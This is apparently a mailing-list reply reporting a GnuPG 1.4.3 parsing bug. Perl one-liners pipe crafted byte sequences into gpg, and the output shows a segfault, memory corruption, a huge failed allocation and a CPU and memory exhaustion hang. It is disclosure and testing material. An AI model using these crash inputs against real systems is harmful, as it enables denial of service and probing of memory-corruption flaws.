Evgeny,

Yes this and variations of it produce some interesting output (AMD64
Gentoo)

$ perl -e 'print "\xcd\x7f\x7f\x7f\x7f\xfe"'| gpg --no-armor
gpg: orphaned user ID
$

This will proceed to eat all available CPU and memory until it dies
(approx 1-2 minutes later)

$perl -e 'print "\xcd\xff\x7f\x7f\x7f\x7f"'| gpg --no-armor
gpg: orphaned user ID

Memory Error: memory at 0x2aaaabb99018 corrupted (overflow=55)
Aborted
$

which is probably related to this

$perl -e 'print "\xcd\xff\xff\x7f\x7f\xfe"'| gpg --no-armor
gpg: out of  memory while allocating 4286546022 bytes
$

Hi,

Interesting GnuPG 1.4.3 bug:

$ perl -e 'print "\xcd\xff\xff\xff\xff\xfe"'| /var/gnupg/bin/gpg --no-armor
gpg: /home/ggg/.gnupg/options:82: deprecated option "honor-http-proxy"
gpg: please use "keyserver-options http-proxy" instead

gpg: Segmentation fault caught ... exiting
Segmentation fault
